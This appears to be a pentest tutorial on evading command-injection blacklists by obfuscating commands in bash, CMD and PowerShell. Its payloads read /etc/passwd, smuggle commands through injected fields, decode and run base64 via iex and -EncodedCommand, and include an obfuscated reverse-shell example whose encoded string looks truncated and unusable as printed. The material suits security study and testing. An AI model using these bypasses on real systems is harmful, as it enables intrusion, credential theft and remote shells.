When a filter blacklists specific command names (whoami, cat, nc), simple obfuscation often bypasses it. The shell parses tokens after some pre-processing — insert characters the shell ignores, and the filter sees a different string than the shell does.
Quote Insertion (Linux & Windows)
Wrap parts of the command in quotes — the shell strips them before executing:
w'h'o'am'i # executes as: whoami
w"hoam"i # sameRules:
- You can’t mix
'and" - Number of each quote type must be even
Works in bash, sh, CMD, PowerShell.
Backslash Insertion (Linux Only)
Bash treats \ followed by a regular character as just the character. So:
who\a\m\i # executes as: whoami
c\a\t\ /etc/passwdDoesn’t require even count. Fast and compact.
Positional Parameter Insertion (Linux Only)
The variable $@ is usually empty in a subshell context. Insert it anywhere in a command — bash expands it to nothing:
who$@ami # executes as: whoami
cat$@ /etc/passwdEspecially useful when \ is filtered.
Caret Insertion (Windows CMD Only)
CMD treats ^ as an escape character; ^ followed by a regular character becomes just the character:
who^ami # executes as: whoami
c^al^c # opens calcPowerShell doesn’t support ^ the same way.
Case Manipulation
Windows
CMD and PowerShell are case-insensitive. Just mix case:
WHOami
wHoAmI
WHOAMILinux
Bash is case-sensitive, so WHOAMI fails. You need three concepts to pull this off:
- Command substitution
$(...)— runs the inner command and substitutes its output - Here-string
<<<— feeds a string as stdin tr— translates characters
Build a lowercased command via tr:
$(tr 'A-Z' 'a-z' <<< WHOami) # outputs: whoami → executes it
$(tr "[A-Z]" "[a-z]" <<< "WhOaMi") # same, with bracket syntaxIn a space-filtered context:
127.0.0.1%0a$(tr%09'A-Z'%09'a-z'%09<<<WHoAmI)
Or the bash-only parameter expansion:
a="WhOaMi"; printf %s "${a,,}" # ${a,,} converts to lowercaseReversed Commands
Store the command reversed, then unreverse it at runtime:
Linux
rev <<< whoami # outputs: imaohw
$(rev <<< imaohw) # unreverses → whoami → executesPowerShell
"whoami"[-1..-20] -join '' # imaohw
iex "$('imaohw'[-1..-20] -join '')" # execute reversed stringiex is Invoke-Expression — runs the string as a command.
Base64 Encoding
Encode the command as base64, decode and execute at runtime:
Linux
echo -n whoami | base64 # d2hvYW1p
bash <<< $(echo 'd2hvYW1p' | base64 -d)Avoids any blocked characters in the original command.
If bash or base64 are filtered, use alternatives:
sh <<< $(echo 'd2hvYW1p' | base64 -d) # sh instead of bash
openssl base64 -d <<< 'd2hvYW1p' # openssl instead of base64Windows PowerShell
PowerShell needs UTF-16LE base64 (Windows default). Encode:
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('whoami'))
# → dwBoAG8AYQBtAGkADecode and execute:
iex "$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"Or use PowerShell’s native -EncodedCommand:
powershell -EncodedCommand dwBoAG8AYQBtAGkAHex Encoding
Alternative when base64 is filtered:
echo whoami | xxd # 00000000: 7768 6f61 6d69 0a
bash <<< $(echo -n '7768 6f61 6d69' | xxd -r -p)-r means reverse (decode), -p means plain hex (no offsets).
Combining All Techniques
A heavily obfuscated reverse shell payload against a tight filter might look like:
127.0.0.1%0a$(tr%09'A-Z'%09'a-z'%09<<<$(rev<<<$(echo%09'ZD1oc2FiJyY2N3BjdC9kZXZ'|openssl%09base64%09-d)))
This is why real engagements use obfuscation tools (next section) instead of hand-crafting payloads.
Methodology
- Try simple quote/backslash insertion first (one request)
- Try case manipulation if the filter is case-sensitive
- Try
revto break up blacklisted substrings - Try base64 as a last resort — it’s slow to debug but defeats most word-list filters
